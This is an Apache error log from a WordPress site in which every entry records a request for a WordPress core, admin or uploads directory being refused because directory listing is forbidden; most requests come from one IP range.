[Thu Mar 19 10:01:31.731336 2026] [autoindex:error] [pid 24971:tid 24996] [client 209.87.169.227:35665] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:40.142158 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:40.413096 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:42.584543 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:42.892767 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:45.838371 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:46.111157 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:46.388304 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:46.638508 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:47.177324 2026] [autoindex:error] [pid 25135:tid 25139] [client 209.87.169.51:52771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:56.504054 2026] [autoindex:error] [pid 31735:tid 31757] [client 209.87.169.29:48829] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:01:58.677588 2026] [autoindex:error] [pid 31205:tid 31218] [client 209.87.169.28:42999] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:11.417094 2026] [autoindex:error] [pid 25179:tid 25190] [client 209.87.169.236:57027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:12.316703 2026] [autoindex:error] [pid 31313:tid 31385] [client 209.87.169.210:29153] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:13.007644 2026] [autoindex:error] [pid 23882:tid 23909] [client 45.131.195.237:49519] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:13.502656 2026] [autoindex:error] [pid 23988:tid 24013] [client 209.87.169.39:42175] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:20.615366 2026] [autoindex:error] [pid 3278:tid 3294] [client 209.87.169.34:20901] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:26.332021 2026] [autoindex:error] [pid 23882:tid 23909] [client 209.87.169.232:51385] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:34.407938 2026] [autoindex:error] [pid 25135:tid 25141] [client 209.87.169.234:29861] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:34.686170 2026] [autoindex:error] [pid 25135:tid 25150] [client 209.87.169.234:29861] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:02:34.972958 2026] [autoindex:error] [pid 25135:tid 25143] [client 209.87.169.234:29861] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:04.048173 2026] [autoindex:error] [pid 31313:tid 31365] [client 209.87.169.55:29319] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:10.337707 2026] [autoindex:error] [pid 31313:tid 31369] [client 209.87.169.55:29319] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:10.580677 2026] [autoindex:error] [pid 31313:tid 31369] [client 209.87.169.55:29319] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:10.815698 2026] [autoindex:error] [pid 31313:tid 31369] [client 209.87.169.55:29319] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:13.599570 2026] [autoindex:error] [pid 25135:tid 25157] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:13.858246 2026] [autoindex:error] [pid 25135:tid 25158] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:14.117247 2026] [autoindex:error] [pid 25135:tid 25153] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:29.960814 2026] [autoindex:error] [pid 25135:tid 25157] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:03:33.862906 2026] [autoindex:error] [pid 25135:tid 25140] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/mu-plugins/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:29.066409 2026] [autoindex:error] [pid 25135:tid 25146] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:29.321366 2026] [autoindex:error] [pid 25135:tid 25155] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:29.596123 2026] [autoindex:error] [pid 25135:tid 25147] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:29.838942 2026] [autoindex:error] [pid 25135:tid 25155] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:35.267871 2026] [autoindex:error] [pid 25135:tid 25146] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:35.501831 2026] [autoindex:error] [pid 25135:tid 25147] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:35.762221 2026] [autoindex:error] [pid 25135:tid 25146] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:43.612498 2026] [autoindex:error] [pid 25135:tid 25146] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:43.832166 2026] [autoindex:error] [pid 25135:tid 25142] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:44.084667 2026] [autoindex:error] [pid 25135:tid 25146] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:47.472814 2026] [autoindex:error] [pid 25135:tid 25143] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:47.708536 2026] [autoindex:error] [pid 25135:tid 25154] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:47.947451 2026] [autoindex:error] [pid 25135:tid 25153] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:04:48.177744 2026] [autoindex:error] [pid 25135:tid 25156] [client 209.87.169.248:54027] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:11.146190 2026] [autoindex:error] [pid 32226:tid 32252] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:35.100252 2026] [autoindex:error] [pid 32226:tid 32231] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:38.136467 2026] [autoindex:error] [pid 32226:tid 32244] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:38.376269 2026] [autoindex:error] [pid 32226:tid 32232] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:50.671683 2026] [autoindex:error] [pid 32226:tid 32232] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:50.904577 2026] [autoindex:error] [pid 32226:tid 32250] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:51.183657 2026] [autoindex:error] [pid 32226:tid 32241] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:51.444950 2026] [autoindex:error] [pid 32226:tid 32248] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:51.724897 2026] [autoindex:error] [pid 32226:tid 32239] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:51.982334 2026] [autoindex:error] [pid 32226:tid 32236] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:52.209088 2026] [autoindex:error] [pid 32226:tid 32244] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:52.481197 2026] [autoindex:error] [pid 32226:tid 32246] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:06:52.716084 2026] [autoindex:error] [pid 32226:tid 32232] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 10:07:31.098481 2026] [autoindex:error] [pid 32226:tid 32240] [client 209.87.169.73:60243] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
